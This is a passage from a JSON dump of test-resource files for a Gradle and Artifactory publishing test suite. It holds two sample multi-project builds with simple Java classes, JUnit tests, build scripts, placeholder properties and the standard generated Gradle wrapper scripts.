Impl().implMethod();\n    }\n\n}\n"
  },
  {
    "path": "src/test/resources/gradle/global/api/src/main/java/org/gradle/api/package.html",
    "content": "<!--\n  ~ Copyright (C) 2011 JFrog Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~ http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n\n<html>\n<body><p>These are the API classes</p></body>\n</html>\n"
  },
  {
    "path": "src/test/resources/gradle/global/api/src/main/java/org/gradle/apiImpl/Impl.java",
    "content": "/*\n * Copyright (C) 2011 JFrog Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.gradle.apiImpl;\n\n\npublic class Impl {\n\n    public void implMethod() {\n        double a = 4.0 * 4;\n    }\n\n}\n"
  },
  {
    "path": "src/test/resources/gradle/global/build.gradle",
    "content": "/*\n * Copyright (C) 2013 JFrog Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\ndef javaProjects() {\n    subprojects.findAll { new File(it.projectDir, 'src').directory }\n}\n\nallprojects {\n    group = 'org.jfrog.test.gradle.publish'\n    version = currentVersion\n    status = 'Integration'\n    repositories {\n        mavenCentral()\n    }\n}\n\nconfigure(javaProjects()) {\n    apply plugin: 'java'\n    apply plugin: 'maven-publish'\n\n    dependencies {\n        testImplementation 'junit:junit:4.7'\n    }\n\n    publishing {\n        publications {\n            mavenJava(MavenPublication) {\n                from components.java\n                artifact(file(\"$rootDir/gradle.properties\"))\n            }\n        }\n    }\n}\n\nproject('api') {\n    apply plugin: 'ivy-publish'\n\n    publishing {\n        publications {\n            ivyJava(IvyPublication) {\n                from components.java\n                artifact(file(\"$rootDir/settings.gradle\")) {\n                    name \"gradle-settings\"\n                    extension \"txt\"\n                    type \"text\"\n                }\n                // The config below will add a extra attribute to the ivy.xml\n                // See http://ant.apache.org/ivy/history/latest-milestone/concept.html#extra\n                descriptor.withXml {\n                    asNode().info[0].attributes().put('e:architecture', 'amd64')\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "src/test/resources/gradle/global/gradle.properties",
    "content": "currentVersion=1.0-SNAPSHOT\nartifactory_user=admin\nartifactory_password=password\n"
  },
  {
    "path": "src/test/resources/gradle/global/services/build/moduleInfo.json",
    "content": "{\n  \"type\" : \"gradle\",\n  \"id\" : \"org.jfrog.test.gradle.publish:services:1.0-SNAPSHOT\",\n  \"repository\" : \"\",\n  \"artifacts\" : [ ],\n  \"excludedArtifacts\" : [ ],\n  \"dependencies\" : [ ]\n}"
  },
  {
    "path": "src/test/resources/gradle/global/services/webservice/build.gradle",
    "content": "apply plugin: 'war'\n\ndependencies {\n    implementation project(':shared'), 'commons-collections:commons-collections:3.2@jar', 'commons-io:commons-io:1.2', 'commons-lang:commons-lang:2.4@jar'\n    implementation group: 'org.apache.wicket', name: 'wicket', version: '1.3.7'\n    implementation project(':api')\n}\n"
  },
  {
    "path": "src/test/resources/gradle/global/services/webservice/src/main/java/org/gradle/webservice/TestTest.java",
    "content": "/*\n * Copyright (C) 2011 JFrog Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.gradle.webservice;\n\nimport org.apache.commons.collections.list.GrowthList;\nimport org.apache.commons.io.FilenameUtils;\nimport org.apache.commons.lang.builder.ToStringBuilder;\nimport org.gradle.api.PersonList;\nimport org.gradle.shared.Person;\n\npublic class TestTest {\n    private String name;\n\n    public void method() {\n        FilenameUtils.separatorsToUnix(\"my/unix/filename\");\n        ToStringBuilder.reflectionToString(new Person(\"name\"));\n        new GrowthList();\n        new PersonList().doSomethingWithImpl(); // compile with api-spi, runtime with api\n    }\n\n}\n"
  },
  {
    "path": "src/test/resources/gradle/global/services/webservice/src/test/java/org/gradle/webservice/TestTestTest.java",
    "content": "/*\n * Copyright 2007 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.gradle.webservice;\n\nimport junit.framework.TestCase;\n\n/**\n * @author Hans Dockter\n */\npublic class TestTestTest extends TestCase {\n    public void testClasspath() {\n        new TestTest().method();\n    }\n\n    public void testApiCompileClasspath() {\n        new org.gradle.api.PersonList();\n    }\n}\n"
  },
  {
    "path": "src/test/resources/gradle/global/settings.gradle",
    "content": "include \"shared\", \"api\", \"services:webservice\"\n"
  },
  {
    "path": "src/test/resources/gradle/global/shared/src/main/java/org/gradle/shared/Person.java",
    "content": "/*\n * Copyright (C) 2011 JFrog Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.gradle.shared;\n\nimport java.io.IOException;\nimport java.util.Properties;\n\npublic class Person {\n    private String name;\n\n    public Person(String name) {\n        this.name = name;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String readProperty() throws IOException {\n        Properties properties = new Properties();\n        properties.load(getClass().getClassLoader().getResourceAsStream(\"org/gradle/shared/main.properties\"));\n        return properties.getProperty(\"main\");\n    }\n}\n"
  },
  {
    "path": "src/test/resources/gradle/global/shared/src/main/java/org/gradle/shared/package-info.java",
    "content": "/*\n * Copyright (C) 2011 JFrog Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * These are the shared classes.\n */\npackage org.gradle.shared;\n"
  },
  {
    "path": "src/test/resources/gradle/global/shared/src/main/resources/org/gradle/shared/main.properties",
    "content": "#\n# Copyright (C) 2011 JFrog Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nmain=mainValue\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/api/build.gradle",
    "content": "configurations {\n    spi\n}\n\ndependencies {\n    implementation project(':shared')\n    implementation module(\"commons-lang:commons-lang:2.4\") {\n        dependency(\"commons-io:commons-io:1.2\")\n    }\n    implementation group: 'org.apache.wicket', name: 'wicket', version: '1.3.7'\n\n}\n\n// Just a smoke test that using this option does not lead to any exception\ncompileJava.options.compilerArgs = ['-Xlint:unchecked']\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/api/src/main/java/org/gradle/api/PersonList.java",
    "content": "/*\n * Copyright (C) 2011 JFrog Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.gradle.api;\n\nimport org.gradle.apiImpl.Impl;\nimport org.gradle.shared.Person;\n\nimport java.util.ArrayList;\n\n\npublic class PersonList {\n    private ArrayList<Person> persons = new ArrayList<Person>();\n\n    public void doSomethingWithImpl() {\n        org.apache.commons.lang.builder.ToStringBuilder stringBuilder;\n        try {\n            Class.forName(\"org.apache.commons.io.FileUtils\");\n        } catch (ClassNotFoundException e) {\n            throw new RuntimeException(e);\n        }\n        new Impl().implMethod();\n    }\n\n}\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/api/src/main/java/org/gradle/api/package.html",
    "content": "<!--\n  ~ Copyright (C) 2011 JFrog Ltd.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~ http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n\n<html>\n<body><p>These are the API classes</p></body>\n</html>\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/api/src/main/java/org/gradle/apiImpl/Impl.java",
    "content": "/*\n * Copyright (C) 2011 JFrog Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.gradle.apiImpl;\n\n\npublic class Impl {\n\n    public void implMethod() {\n        double a = 4.0 * 4;\n    }\n\n}\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/build.gradle",
    "content": "/*\n * Copyright (C) 2013 JFrog Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\ndef javaProjects() {\n    subprojects.findAll { new File(it.projectDir, 'src').directory }\n}\n\nallprojects {\n    group = 'org.jfrog.test.gradle.publish'\n    version = currentVersion\n    status = 'Integration'\n    repositories {\n        mavenCentral()\n    }\n}\n\nconfigure(javaProjects()) {\n    apply plugin: 'java'\n    apply plugin: 'maven-publish'\n\n    dependencies {\n        testImplementation 'junit:junit:4.7'\n    }\n\n    publishing {\n        publications {\n            mavenJava(MavenPublication) {\n                from components.java\n                artifact(file(\"$rootDir/gradle.properties\"))\n            }\n        }\n    }\n}\n\nproject('api') {\n    apply plugin: 'ivy-publish'\n\n    publishing {\n        publications {\n            ivyJava(IvyPublication) {\n                from components.java\n                artifact(file(\"$rootDir/settings.gradle\")) {\n                    name \"gradle-settings\"\n                    extension \"txt\"\n                    type \"text\"\n                }\n                // The config below will add a extra attribute to the ivy.xml\n                // See http://ant.apache.org/ivy/history/latest-milestone/concept.html#extra\n                descriptor.withXml {\n                    asNode().info[0].attributes().put('e:architecture', 'amd64')\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/gradle/wrapper/gradle-wrapper.properties",
    "content": "distributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-7.6-bin.zip\nnetworkTimeout=10000\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/gradle.properties",
    "content": "currentVersion=1.0-SNAPSHOT\nartifactory_user=admin\nartifactory_password=password\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/gradlew",
    "content": "#!/bin/sh\n\n#\n# Copyright © 2015-2021 the original authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n##############################################################################\n#\n#   Gradle start up script for POSIX generated by Gradle.\n#\n#   Important for running:\n#\n#   (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is\n#       noncompliant, but you have some other compliant shell such as ksh or\n#       bash, then to run this script, type that shell name before the whole\n#       command line, like:\n#\n#           ksh Gradle\n#\n#       Busybox and similar reduced shells will NOT work, because this script\n#       requires all of these POSIX shell features:\n#         * functions;\n#         * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,\n#           «${var#prefix}», «${var%suffix}», and «$( cmd )»;\n#         * compound commands having a testable exit status, especially «case»;\n#         * various built-in commands including «command», «set», and «ulimit».\n#\n#   Important for patching:\n#\n#   (2) This script targets any POSIX shell, so it avoids extensions provided\n#       by Bash, Ksh, etc; in particular arrays are avoided.\n#\n#       The \"traditional\" practice of packing multiple parameters into a\n#       space-separated string is a well documented source of bugs and security\n#       problems, so this is (mostly) avoided, by progressively accumulating\n#       options in \"$@\", and eventually passing that to Java.\n#\n#       Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,\n#       and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;\n#       see the in-line comments for details.\n#\n#       There are tweaks for specific operating systems such as AIX, CygWin,\n#       Darwin, MinGW, and NonStop.\n#\n#   (3) This script is generated from the Groovy template\n#       https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt\n#       within the Gradle project.\n#\n#       You can find Gradle at https://github.com/gradle/gradle/.\n#\n##############################################################################\n\n# Attempt to set APP_HOME\n\n# Resolve links: $0 may be a link\napp_path=$0\n\n# Need this for daisy-chained symlinks.\nwhile\n    APP_HOME=${app_path%\"${app_path##*/}\"}  # leaves a trailing /; empty if no leading path\n    [ -h \"$app_path\" ]\ndo\n    ls=$( ls -ld \"$app_path\" )\n    link=${ls#*' -> '}\n    case $link in             #(\n      /*)   app_path=$link ;; #(\n      *)    app_path=$APP_HOME$link ;;\n    esac\ndone\n\n# This is normally unused\n# shellcheck disable=SC2034\nAPP_BASE_NAME=${0##*/}\nAPP_HOME=$( cd \"${APP_HOME:-./}\" && pwd -P ) || exit\n\n# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\nDEFAULT_JVM_OPTS='\"-Xmx64m\" \"-Xms64m\"'\n\n# Use the maximum available, or set MAX_FD != -1 to use that value.\nMAX_FD=maximum\n\nwarn () {\n    echo \"$*\"\n} >&2\n\ndie () {\n    echo\n    echo \"$*\"\n    echo\n    exit 1\n} >&2\n\n# OS specific support (must be 'true' or 'false').\ncygwin=false\nmsys=false\ndarwin=false\nnonstop=false\ncase \"$( uname )\" in                #(\n  CYGWIN* )         cygwin=true  ;; #(\n  Darwin* )         darwin=true  ;; #(\n  MSYS* | MINGW* )  msys=true    ;; #(\n  NONSTOP* )        nonstop=true ;;\nesac\n\nCLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar\n\n\n# Determine the Java command to use to start the JVM.\nif [ -n \"$JAVA_HOME\" ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n        # IBM's JDK on AIX uses strange locations for the executables\n        JAVACMD=$JAVA_HOME/jre/sh/java\n    else\n        JAVACMD=$JAVA_HOME/bin/java\n    fi\n    if [ ! -x \"$JAVACMD\" ] ; then\n        die \"ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\n    fi\nelse\n    JAVACMD=java\n    which java >/dev/null 2>&1 || die \"ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\n\nPlease set the JAVA_HOME variable in your environment to match the\nlocation of your Java installation.\"\nfi\n\n# Increase the maximum file descriptors if we can.\nif ! \"$cygwin\" && ! \"$darwin\" && ! \"$nonstop\" ; then\n    case $MAX_FD in #(\n      max*)\n        # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked.\n        # shellcheck disable=SC3045 \n        MAX_FD=$( ulimit -H -n ) ||\n            warn \"Could not query maximum file descriptor limit\"\n    esac\n    case $MAX_FD in  #(\n      '' | soft) :;; #(\n      *)\n        # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked.\n        # shellcheck disable=SC3045 \n        ulimit -n \"$MAX_FD\" ||\n            warn \"Could not set maximum file descriptor limit to $MAX_FD\"\n    esac\nfi\n\n# Collect all arguments for the java command, stacking in reverse order:\n#   * args from the command line\n#   * the main class name\n#   * -classpath\n#   * -D...appname settings\n#   * --module-path (only if needed)\n#   * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.\n\n# For Cygwin or MSYS, switch paths to Windows format before running java\nif \"$cygwin\" || \"$msys\" ; then\n    APP_HOME=$( cygpath --path --mixed \"$APP_HOME\" )\n    CLASSPATH=$( cygpath --path --mixed \"$CLASSPATH\" )\n\n    JAVACMD=$( cygpath --unix \"$JAVACMD\" )\n\n    # Now convert the arguments - kludge to limit ourselves to /bin/sh\n    for arg do\n        if\n            case $arg in                                #(\n              -*)   false ;;                            # don't mess with options #(\n              /?*)  t=${arg#/} t=/${t%%/*}              # looks like a POSIX filepath\n                    [ -e \"$t\" ] ;;                      #(\n              *)    false ;;\n            esac\n        then\n            arg=$( cygpath --path --ignore --mixed \"$arg\" )\n        fi\n        # Roll the args list around exactly as many times as the number of\n        # args, so each arg winds up back in the position where it started, but\n        # possibly modified.\n        #\n        # NB: a `for` loop captures its iteration list before it begins, so\n        # changing the positional parameters here affects neither the number of\n        # iterations, nor the values presented in `arg`.\n        shift                   # remove old arg\n        set -- \"$@\" \"$arg\"      # push replacement arg\n    done\nfi\n\n# Collect all arguments for the java command;\n#   * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of\n#     shell script including quotes and variable substitutions, so put them in\n#     double quotes to make sure that they get re-expanded; and\n#   * put everything else in single quotes, so that it's not re-expanded.\n\nset -- \\\n        \"-Dorg.gradle.appname=$APP_BASE_NAME\" \\\n        -classpath \"$CLASSPATH\" \\\n        org.gradle.wrapper.GradleWrapperMain \\\n        \"$@\"\n\n# Stop when \"xargs\" is not available.\nif ! command -v xargs >/dev/null 2>&1\nthen\n    die \"xargs is not available\"\nfi\n\n# Use \"xargs\" to parse quoted args.\n#\n# With -n1 it outputs one arg per line, with the quotes and backslashes removed.\n#\n# In Bash we could simply go:\n#\n#   readarray ARGS < <( xargs -n1 <<<\"$var\" ) &&\n#   set -- \"${ARGS[@]}\" \"$@\"\n#\n# but POSIX shell has neither arrays nor command substitution, so instead we\n# post-process each arg (as a line of input to sed) to backslash-escape any\n# character that might be a shell metacharacter, then use eval to reverse\n# that process (while maintaining the separation between arguments), and wrap\n# the whole thing up as a single \"set\" statement.\n#\n# This will of course break if any of these variables contains a newline or\n# an unmatched quote.\n#\n\neval \"set -- $(\n        printf '%s\\n' \"$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS\" |\n        xargs -n1 |\n        sed ' s~[^-[:alnum:]+,./:=@_]~\\\\&~g; ' |\n        tr '\\n' ' '\n    )\" '\"$@\"'\n\nexec \"$JAVACMD\" \"$@\"\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/gradlew.bat",
    "content": "@rem\n@rem Copyright 2015 the original author or authors.\n@rem\n@rem Licensed under the Apache License, Version 2.0 (the \"License\");\n@rem you may not use this file except in compliance with the License.\n@rem You may obtain a copy of the License at\n@rem\n@rem      https://www.apache.org/licenses/LICENSE-2.0\n@rem\n@rem Unless required by applicable law or agreed to in writing, software\n@rem distributed under the License is distributed on an \"AS IS\" BASIS,\n@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n@rem See the License for the specific language governing permissions and\n@rem limitations under the License.\n@rem\n\n@if \"%DEBUG%\"==\"\" @echo off\n@rem ##########################################################################\n@rem\n@rem  Gradle startup script for Windows\n@rem\n@rem ##########################################################################\n\n@rem Set local scope for the variables with windows NT shell\nif \"%OS%\"==\"Windows_NT\" setlocal\n\nset DIRNAME=%~dp0\nif \"%DIRNAME%\"==\"\" set DIRNAME=.\n@rem This is normally unused\nset APP_BASE_NAME=%~n0\nset APP_HOME=%DIRNAME%\n\n@rem Resolve any \".\" and \"..\" in APP_HOME to make it shorter.\nfor %%i in (\"%APP_HOME%\") do set APP_HOME=%%~fi\n\n@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.\nset DEFAULT_JVM_OPTS=\"-Xmx64m\" \"-Xms64m\"\n\n@rem Find java.exe\nif defined JAVA_HOME goto findJavaFromJavaHome\n\nset JAVA_EXE=java.exe\n%JAVA_EXE% -version >NUL 2>&1\nif %ERRORLEVEL% equ 0 goto execute\n\necho.\necho ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.\necho.\necho Please set the JAVA_HOME variable in your environment to match the\necho location of your Java installation.\n\ngoto fail\n\n:findJavaFromJavaHome\nset JAVA_HOME=%JAVA_HOME:\"=%\nset JAVA_EXE=%JAVA_HOME%/bin/java.exe\n\nif exist \"%JAVA_EXE%\" goto execute\n\necho.\necho ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%\necho.\necho Please set the JAVA_HOME variable in your environment to match the\necho location of your Java installation.\n\ngoto fail\n\n:execute\n@rem Setup the command line\n\nset CLASSPATH=%APP_HOME%\\gradle\\wrapper\\gradle-wrapper.jar\n\n\n@rem Execute Gradle\n\"%JAVA_EXE%\" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% \"-Dorg.gradle.appname=%APP_BASE_NAME%\" -classpath \"%CLASSPATH%\" org.gradle.wrapper.GradleWrapperMain %*\n\n:end\n@rem End local scope for the variables with windows NT shell\nif %ERRORLEVEL% equ 0 goto mainEnd\n\n:fail\nrem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of\nrem the _cmd.exe /c_ return code!\nset EXIT_CODE=%ERRORLEVEL%\nif %EXIT_CODE% equ 0 set EXIT_CODE=1\nif not \"\"==\"%GRADLE_EXIT_CONSOLE%\" exit %EXIT_CODE%\nexit /b %EXIT_CODE%\n\n:mainEnd\nif \"%OS%\"==\"Windows_NT\" endlocal\n\n:omega\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/services/build/moduleInfo.json",
    "content": "{\n  \"type\" : \"gradle\",\n  \"id\" : \"org.jfrog.test.gradle.publish:services:1.0-SNAPSHOT\",\n  \"repository\" : \"\",\n  \"artifacts\" : [ ],\n  \"excludedArtifacts\" : [ ],\n  \"dependencies\" : [ ]\n}"
  },
  {
    "path": "src/test/resources/gradle/wrapper/services/webservice/build.gradle",
    "content": "apply plugin: 'war'\n\ndependencies {\n    implementation project(':shared'), 'commons-collections:commons-collections:3.2@jar', 'commons-io:commons-io:1.2', 'commons-lang:commons-lang:2.4@jar'\n    implementation group: 'org.apache.wicket', name: 'wicket', version: '1.3.7'\n    implementation project(':api')\n}\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/services/webservice/src/main/java/org/gradle/webservice/TestTest.java",
    "content": "/*\n * Copyright (C) 2011 JFrog Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.gradle.webservice;\n\nimport org.apache.commons.collections.list.GrowthList;\nimport org.apache.commons.io.FilenameUtils;\nimport org.apache.commons.lang.builder.ToStringBuilder;\nimport org.gradle.api.PersonList;\nimport org.gradle.shared.Person;\n\npublic class TestTest {\n    private String name;\n\n    public void method() {\n        FilenameUtils.separatorsToUnix(\"my/unix/filename\");\n        ToStringBuilder.reflectionToString(new Person(\"name\"));\n        new GrowthList();\n        new PersonList().doSomethingWithImpl(); // compile with api-spi, runtime with api\n    }\n\n}\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/services/webservice/src/test/java/org/gradle/webservice/TestTestTest.java",
    "content": "/*\n * Copyright 2007 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.gradle.webservice;\n\nimport junit.framework.TestCase;\n\n/**\n * @author Hans Dockter\n */\npublic class TestTestTest extends TestCase {\n    public void testClasspath() {\n        new TestTest().method();\n    }\n\n    public void testApiCompileClasspath() {\n        new org.gradle.api.PersonList();\n    }\n}\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/settings.gradle",
    "content": "include \"shared\", \"api\", \"services:webservice\"\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/shared/src/main/java/org/gradle/shared/Person.java",
    "content": "/*\n * Copyright (C) 2011 JFrog Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.gradle.shared;\n\nimport java.io.IOException;\nimport java.util.Properties;\n\npublic class Person {\n    private String name;\n\n    public Person(String name) {\n        this.name = name;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String readProperty() throws IOException {\n        Properties properties = new Properties();\n        properties.load(getClass().getClassLoader().getResourceAsStream(\"org/gradle/shared/main.properties\"));\n        return properties.getProperty(\"main\");\n    }\n}\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/shared/src/main/java/org/gradle/shared/package-info.java",
    "content": "/*\n * Copyright (C) 2011 JFrog Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * These are the shared classes.\n */\npackage org.gradle.shared;\n"
  },
  {
    "path": "src/test/resources/gradle/wrapper/shared/src/main/resources/org/gradle/shared/main.properties",
    "content": "#\n# Copyright (C) 2011 JFrog Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nmain=mainValue\n"
  },
  {
